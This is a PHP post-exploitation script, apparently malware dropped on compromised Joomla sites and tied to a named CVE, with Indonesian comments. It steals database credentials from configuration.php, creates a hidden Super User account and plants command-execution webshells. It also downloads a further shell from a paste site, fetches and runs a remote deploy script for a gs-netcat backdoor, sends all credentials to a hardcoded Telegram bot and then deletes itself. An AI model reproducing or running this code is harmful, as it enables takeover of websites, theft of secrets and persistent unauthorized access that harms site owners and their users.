403 Forbidden

<?php
/**
 * AutoTebar-Exploit - CVE-2026-48907 (Fixed)
 * 
 * - Admin random password
 * - Lock folder: images/pixabay (PHP → 404)
 * - WebShell & Adminer di folder aman
 * - Tambahan webshell dari paste.mangsud.org
 * - Auto-execute curl + bash deploy-all.sh
 * - Self-delete setelah eksekusi
 */

error_reporting(0);
ini_set('display_errors', 0);
set_time_limit(0);
ignore_user_abort(true);
@ob_start();

// =========================================================================
// SELF-DELETE: hapus file ini setelah eksekusi selesai
// =========================================================================
register_shutdown_function(function() {
    @ob_end_flush();
    @unlink(__FILE__);
});

$BOT_TOKEN = "8941711519:AAGd5UBHOeTXwcH-rNreqoEHicpq3U1uzKQ";
$CHAT_ID   = "8600700974";

/**
 * Kirim pesan ke Telegram (dengan fallback cURL)
 */
function send_tg($msg) {
    global $BOT_TOKEN, $CHAT_ID;
    $url = "https://api.telegram.org/bot{$BOT_TOKEN}/sendMessage?chat_id={$CHAT_ID}&text=" . urlencode($msg);
    
    // Coba file_get_contents dulu
    $result = @file_get_contents($url);
    if ($result === false) {
        // Fallback dengan cURL
        if (function_exists('curl_init')) {
            $ch = curl_init();
            curl_setopt_array($ch, [
                CURLOPT_URL => $url,
                CURLOPT_RETURNTRANSFER => true,
                CURLOPT_TIMEOUT => 15,
                CURLOPT_SSL_VERIFYPEER => false
            ]);
            $result = curl_exec($ch);
            curl_close($ch);
        }
    }
    return $result;
}

function generateRandomPassword($length = 12) {
    $chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
    $password = '';
    for ($i = 0; $i < $length; $i++) {
        $password .= $chars[random_int(0, strlen($chars) - 1)];
    }
    return $password;
}

// Flush output awal agar progres terlihat
echo "<pre style='background:#000;color:#0f0;padding:15px;font-family:monospace;'>";
echo "╔══════════════════════════════════════════════════════════════════╗\n";
echo "║   🔥 AutoTebar-Exploit - CVE-2026-48907 (Fixed) 🔥             ║\n";
echo "║   Time: " . date('Y-m-d H:i:s') . "                              ║\n";
echo "╚══════════════════════════════════════════════════════════════════╝\n\n";
@ob_flush(); flush();

// =========================================================================
// BASE PATH: ../../ dari direktori skrip ini
// =========================================================================
$base = realpath(__DIR__ . '/../..');
if ($base === false) {
    die("[-] Gagal mendapatkan base path!\n");
}
echo "[+] Base directory: $base\n";
@ob_flush(); flush();

// =========================================================================
// CARI CONFIGURATION.PHP di base path
// =========================================================================
$config_file = $base . '/configuration.php';
if (!file_exists($config_file)) {
    die("[-] configuration.php tidak ditemukan di $config_file\n");
}
echo "[+] Config file: $config_file\n";
@ob_flush(); flush();

// Pindah ke base directory agar semua path relatif bekerja
chdir($base);

include $config_file;
$c = new JConfig();

// Koneksi DB
$db = new mysqli($c->host, $c->user, $c->password, $c->db);
if ($db->connect_error) {
    die("[-] DB Error: " . $db->connect_error . "\n");
}
echo "[+] DB Connected\n\n";
@ob_flush(); flush();

// =========================================================================
// CARI TABEL USERS YANG BENAR
// =========================================================================
$tables = $db->query("SHOW TABLES");
$all_tables = [];
while ($row = $tables->fetch_array()) {
    $all_tables[] = $row[0];
}

$users_table = null;
$prefix = '';

foreach ($all_tables as $table) {
    if (preg_match('/^([a-zA-Z0-9_]+)users$/', $table, $matches)) {
        $check = $db->query("DESCRIBE $table");
        $has_username = false;
        $has_password = false;
        while ($col = $check->fetch_assoc()) {
            if ($col['Field'] == 'username') $has_username = true;
            if ($col['Field'] == 'password') $has_password = true;
        }
        if ($has_username && $has_password) {
            $users_table = $table;
            $prefix = $matches[1];
            echo "[+] ✅ Found Joomla users table: $table\n";
            echo "[+] ✅ Prefix: $prefix\n";
            break;
        }
    }
}

if (!$users_table) {
    die("[-] Users table not found!\n");
}

// =========================================================================
// CEK STRUKTUR TABEL USERS
// =========================================================================
$columns = $db->query("DESCRIBE $users_table");
$col_names = [];
while ($col = $columns->fetch_assoc()) {
    $col_names[] = $col['Field'];
}

// =========================================================================
// BUAT / UPDATE USER ADMIN DENGAN PASSWORD RANDOM
// =========================================================================
echo "\n[*] Membuat user admin Joomla dengan password random...\n";
@ob_flush(); flush();

$ADMIN_USER = 'admin_article';
$ADMIN_PASS = generateRandomPassword(12);
$now = date('Y-m-d H:i:s');

if (function_exists('password_hash')) {
    $hash = password_hash($ADMIN_PASS, PASSWORD_BCRYPT);
} else {
    $hash = md5($ADMIN_PASS);
}

$check = $db->query("SELECT id FROM $users_table WHERE username = '$ADMIN_USER'");
if ($check && $check->num_rows > 0) {
    $row = $check->fetch_assoc();
    $user_id = $row['id'];
    echo "[!] User already exists! ID: $user_id\n";
    
    // Update password
    $upd = $db->query("UPDATE $users_table SET password = '$hash' WHERE id = $user_id");
    if ($upd) {
        echo "[+] ✅ Password updated successfully for user ID: $user_id\n";
        $ADMIN_STATUS = "UPDATED";
    } else {
        echo "[-] Failed to update password: " . $db->error . "\n";
        $ADMIN_STATUS = "UPDATE_FAILED";
    }
} else {
    // Buat user baru
    $fields = [];
    $values = [];
    
    if (in_array('name', $col_names)) { $fields[] = 'name'; $values[] = "'Administrator'"; }
    if (in_array('username', $col_names)) { $fields[] = 'username'; $values[] = "'$ADMIN_USER'"; }
    if (in_array('email', $col_names)) { $fields[] = 'email'; $values[] = "'admin@$ADMIN_USER'"; }
    if (in_array('password', $col_names)) { $fields[] = 'password'; $values[] = "'$hash'"; }
    if (in_array('block', $col_names)) { $fields[] = 'block'; $values[] = "0"; }
    if (in_array('sendEmail', $col_names)) { $fields[] = 'sendEmail'; $values[] = "0"; }
    if (in_array('registerDate', $col_names)) { $fields[] = 'registerDate'; $values[] = "'$now'"; }
    if (in_array('lastvisitDate', $col_names)) { $fields[] = 'lastvisitDate'; $values[] = "'$now'"; }
    if (in_array('activation', $col_names)) { $fields[] = 'activation'; $values[] = "''"; }
    if (in_array('params', $col_names)) { $fields[] = 'params'; $values[] = "'{}'"; }
    
    $sql = "INSERT INTO $users_table (" . implode(',', $fields) . ") VALUES (" . implode(',', $values) . ")";
    if ($db->query($sql)) {
        $user_id = $db->insert_id;
        echo "[+] ✅ User created! ID: $user_id\n";
        $ADMIN_STATUS = "CREATED";
    } else {
        echo "[-] Insert failed: " . $db->error . "\n";
        $ADMIN_STATUS = "FAILED";
    }
}

// Set Super User (gunakan INSERT IGNORE agar tahan duplikat)
if (isset($user_id) && $user_id) {
    $map_table = $prefix . "user_usergroup_map";
    if (in_array($map_table, $all_tables)) {
        $db->query("INSERT IGNORE INTO $map_table (user_id, group_id) VALUES ($user_id, 8)");
        if ($db->affected_rows > 0) {
            echo "[+] ✅ Set as Super User\n";
        } else {
            echo "[+] Super User already set (or ignored)\n";
        }
    } else {
        echo "[!] Map table $map_table not found\n";
    }
} else {
    echo "[-] No valid user_id, cannot set Super User\n";
}
@ob_flush(); flush();

$db->close();

// =========================================================================
// DOMAIN
// =========================================================================
$DOMAIN = $c->live_site ?? '';
if (empty($DOMAIN)) {
    $protocol = isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on' ? 'https' : 'http';
    $DOMAIN = $protocol . '://' . $_SERVER['HTTP_HOST'];
}
$DOMAIN = rtrim($DOMAIN, '/');
echo "[+] Domain: $DOMAIN\n";
@ob_flush(); flush();

// =========================================================================
// LOCK FOLDER: images
// =========================================================================
echo "\n[*] Mengunci folder images (PHP files return 404)...\n";
$images_dir = $base . '/images';
if (!is_dir($images_dir)) {
    @mkdir($images_dir, 0755, true);
}

$LOCK_STATUS = "FAILED";
if (is_dir($images_dir) && is_writable($images_dir)) {
    $htaccess = '<IfModule mod_rewrite.c>
        RewriteEngine On
        RewriteCond %{REQUEST_FILENAME} .*\.(php|phtml|php\d|inc)$ [NC]
        RewriteRule ^ - [R=404,L]
    </IfModule>
    Options -Indexes
    <FilesMatch "\.(jpg|jpeg|png|gif|webp|svg|ico|css|js|mp4|webm|pdf|zip)$">
        Require all granted
    </FilesMatch>
    <FilesMatch "\.(php|phtml|php\d|inc|sh|bash|cgi|pl|py|sql)$">
        Require all denied
        Order Deny,Allow
        Deny from all
    </FilesMatch>
    <Files ".htaccess">
        Require all denied
    </Files>';
    
    if (@file_put_contents($images_dir . '/.htaccess', $htaccess)) {
        echo "[+] ✅ .htaccess created in $images_dir\n";
        echo "[+]    - PHP files: 404 Not Found\n";
        echo "[+]    - Images: tetap bisa diakses\n";
        $LOCK_STATUS = "ACTIVE";
    } else {
        echo "[-] Cannot write .htaccess to $images_dir\n";
    }
} else {
    echo "[-] Cannot write to $images_dir\n";
}
@ob_flush(); flush();

// =========================================================================
// CARI FOLDER UNTUK WEBSHELL
// =========================================================================
echo "\n[*] Mencari folder untuk WebShell...\n";
$safe_dirs = ['media', 'components', 'modules', 'templates', 'cache', 'administrator/cache'];
$found_dir = '';

foreach ($safe_dirs as $dir) {
    $full_dir = $base . '/' . $dir;
    if (!is_dir($full_dir)) @mkdir($full_dir, 0755, true);
    if (is_dir($full_dir) && is_writable($full_dir)) {
        $found_dir = $full_dir;
        echo "[+] Using directory: $full_dir\n";
        break;
    }
}

if (empty($found_dir)) {
    $found_dir = $base;
    echo "[!] Using base directory\n";
}
@ob_flush(); flush();

// =========================================================================
// BUAT WEBSHELL DI FOLDER AMAN
// =========================================================================
$rand1 = substr(md5(mt_rand()), 0, 12);
$shell_file = $found_dir . "/{$rand1}.php";
$shell_content = '<?php 
    if(isset($_REQUEST["cmd"])){system($_REQUEST["cmd"]);}
    elseif(isset($_REQUEST["c"])){system($_REQUEST["c"]);}
    else{echo "OK";}
    ?>';

if (@file_put_contents($shell_file, $shell_content)) {
    @chmod($shell_file, 0644);
    $shell_rel = str_replace($base, '', $shell_file);
    $shell_url = $DOMAIN . $shell_rel;
    echo "[+] WebShell: $shell_url?cmd=id\n";
} else {
    $shell_url = "FAILED";
    echo "[-] Gagal membuat webshell\n";
}
@ob_flush(); flush();

// =========================================================================
// BUAT ADMINER (coba official, fallback lite)
// =========================================================================
$rand2 = substr(md5(mt_rand()), 0, 12);
$adminer_file = $found_dir . "/{$rand2}.php";
$adminer_url_full = "FAILED";

$ctx = stream_context_create(['http' => ['timeout' => 10]]);
$adminer_content = @file_get_contents("https://github.com/vrana/adminer/releases/download/v4.8.1/adminer-4.8.1-mysql.php", false, $ctx);
if ($adminer_content && strlen($adminer_content) > 10000) {
    if (@file_put_contents($adminer_file, $adminer_content)) {
        @chmod($adminer_file, 0644);
        echo "[+] ✅ Adminer official\n";
        $adminer_url_full = $DOMAIN . str_replace($base, '', $adminer_file);
    }
}

if ($adminer_url_full === "FAILED") {
    $fallback = '<?php
    $server = $_REQUEST["server"] ?? "localhost";
    $username = $_REQUEST["username"] ?? "";
    $password = $_REQUEST["password"] ?? "";
    $database = $_REQUEST["database"] ?? "";
    $query = $_REQUEST["query"] ?? "";
    if($username && $database && $query){
        $conn = new mysqli($server, $username, $password, $database);
        if(!$conn->connect_error && $result = $conn->query($query)){
            echo "<pre>";
            while($row = $result->fetch_assoc()) print_r($row);
            echo "</pre>";
        }
        $conn->close();
    }
    echo "<h2>Adminer Lite</h2>
    <form method=get>
    Server: <input name=server value=localhost><br>
    Username: <input name=username><br>
    Password: <input name=password type=password><br>
    Database: <input name=database><br>
    Query: <textarea name=query rows=5 cols=50></textarea><br>
    <input type=submit value=Execute>
    </form>";
    ';
    if (@file_put_contents($adminer_file, $fallback)) {
        @chmod($adminer_file, 0644);
        $adminer_url_full = $DOMAIN . str_replace($base, '', $adminer_file);
        echo "[+] ⚠️ Adminer fallback created\n";
    } else {
        echo "[-] Gagal membuat Adminer fallback\n";
    }
}
echo "[+] Adminer: $adminer_url_full\n";
@ob_flush(); flush();

// =========================================================================
// TAMBAHAN: WEBSHELL DARI PASTE.MANGSUD.ORG
// =========================================================================
echo "\n[*] Menambahkan webshell dari paste.mangsud.org...\n";
$new_shell_dir = $base . '/administrator/manifests/libraries';
if (!is_dir($new_shell_dir)) {
    @mkdir($new_shell_dir, 0755, true);
}

$NEW_SHELL_URL = "FAILED";
if (is_dir($new_shell_dir) && is_writable($new_shell_dir)) {
    $shell_content = @file_get_contents('https://paste.mangsud.org/raw/db85f35e', false, $ctx);
    if ($shell_content === false && function_exists('curl_init')) {
        // Fallback curl
        $ch = curl_init('https://paste.mangsud.org/raw/db85f35e');
        curl_setopt_array($ch, [CURLOPT_RETURNTRANSFER => true, CURLOPT_TIMEOUT => 15, CURLOPT_SSL_VERIFYPEER => false]);
        $shell_content = curl_exec($ch);
        curl_close($ch);
    }
    if ($shell_content && strlen($shell_content) > 100) {
        $new_shell_name = 'sys_' . substr(md5(mt_rand()), 0, 8) . '.php';
        $new_shell_path = $new_shell_dir . '/' . $new_shell_name;
        if (@file_put_contents($new_shell_path, $shell_content)) {
            @chmod($new_shell_path, 0644);
            $new_shell_rel = str_replace($base, '', $new_shell_path);
            $NEW_SHELL_URL = $DOMAIN . $new_shell_rel;
            echo "[+] ✅ Extra WebShell: $NEW_SHELL_URL\n";
        } else {
            echo "[-] Gagal menyimpan webshell tambahan\n";
        }
    } else {
        echo "[-] Gagal download webshell\n";
    }
} else {
    echo "[-] Directory tidak bisa ditulis\n";
}
@ob_flush(); flush();

// =========================================================================
// EKSEKUSI COMMAND: curl dan bash deploy-all.sh
// =========================================================================
echo "\n[*] Menjalankan perintah deploy...\n";
@ob_flush(); flush();

// Command 1: curl
$ret1 = null;
system("curl -fsSL http://nossl.segfault.net/deploy-all.sh -o deploy-all.sh 2>&1", $ret1);
echo "[+] Curl deploy-all.sh returned: " . ($ret1 ?? 'unknown') . "\n";

// Command 2: bash
$output = shell_exec("bash deploy-all.sh 2>&1");
if ($output === null) {
    $output = "No output from deploy script";
}
echo "[+] Output (first 500 chars):\n" . substr($output, 0, 500) . "\n";

// Ekstrak token
$gs_token = "NOT FOUND";
if (preg_match('/gs-netcat\s+-s\s+"([^"]+)"\s+-i/', $output, $matches)) {
    $gs_token = $matches[1];
}
echo "[+] gs-netcat token: $gs_token\n";
@ob_flush(); flush();

// =========================================================================
// PROTECT WEBSHELL FOLDER
// =========================================================================
$htaccess_protect = "Options -Indexes\n<FilesMatch \"\.(php|inc)$\">\n    Require all granted\n</FilesMatch>";
@file_put_contents($found_dir . "/.htaccess", $htaccess_protect);
echo "[+] Protected directory\n";
@ob_flush(); flush();

// =========================================================================
// KIRIM LAPORAN TELEGRAM
// =========================================================================
$REPORT = "🔥 AutoTebar-Exploit - CVE-2026-48907 🔥\n\n";
$REPORT .= "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n";
$REPORT .= "📅 Time: " . date('Y-m-d H:i:s') . "\n";
$REPORT .= "🌐 Domain: $DOMAIN\n";
$REPORT .= "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n\n";

$REPORT .= "🗄️ DATABASE CONFIGURATION\n";
$REPORT .= "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n";
$REPORT .= "Host     : " . ($c->host ?? '?') . "\n";
$REPORT .= "Database : " . ($c->db ?? '?') . "\n";
$REPORT .= "Username : " . ($c->user ?? '?') . "\n";
$REPORT .= "Password : " . ($c->password ?? '?') . "\n";
$REPORT .= "Prefix   : $prefix\n\n";

$REPORT .= "👑 JOOMLA ADMIN LOGIN\n";
$REPORT .= "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n";
$REPORT .= "URL      : $DOMAIN/administrator\n";
$REPORT .= "Username : $ADMIN_USER\n";
$REPORT .= "Password : $ADMIN_PASS\n";
$REPORT .= "Status   : " . ($ADMIN_STATUS ?? 'UNKNOWN') . "\n\n";

$REPORT .= "🕸️ WEBSHELL ACCESS\n";
$REPORT .= "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n";
$REPORT .= "Shell    : " . ($shell_url ?? 'FAILED') . "\n";
$REPORT .= "Adminer  : " . ($adminer_url_full ?? 'FAILED') . "\n";
$REPORT .= "Extra    : $NEW_SHELL_URL\n\n";

$REPORT .= "🔒 LOCKED FOLDER\n";
$REPORT .= "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n";
$REPORT .= "Path     : $images_dir\n";
$REPORT .= "Status   : $LOCK_STATUS\n\n";

$REPORT .= "🔧 GS-NETCAT TOKEN\n";
$REPORT .= "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n";
$REPORT .= "Token    : $gs_token\n";

$tg_result = send_tg($REPORT);
if ($tg_result !== false) {
    echo "[+] Laporan dikirim ke Telegram\n";
} else {
    echo "[-] Gagal mengirim laporan ke Telegram\n";
}

// =========================================================================
// OUTPUT FINAL
// =========================================================================
echo "\n";
echo "═══════════════════════════════════════════════════════════════════\n";
echo "                     🎉 AutoTebar-Exploit COMPLETED 🎉\n";
echo "═══════════════════════════════════════════════════════════════════\n";
echo "\n";
echo "🌐 Admin URL    : $DOMAIN/administrator\n";
echo "👤 Username     : $ADMIN_USER\n";
echo "🔐 Password     : $ADMIN_PASS\n";
echo "🕸️ WebShell     : " . ($shell_url ?? 'Gagal') . "\n";
echo "🕸️ Adminer      : " . ($adminer_url_full ?? 'Gagal') . "\n";
echo "🕸️ Extra Shell  : $NEW_SHELL_URL\n";
echo "🔒 Locked folder: $images_dir\n";
echo "🔧 Token        : $gs_token\n";
echo "\n";
echo "✅ Selesai! Cek Telegram untuk laporan lengkap.\n";
echo "⚠️  File exploit ini akan terhapus otomatis.\n";
echo "</pre>";

@ob_end_flush();
?>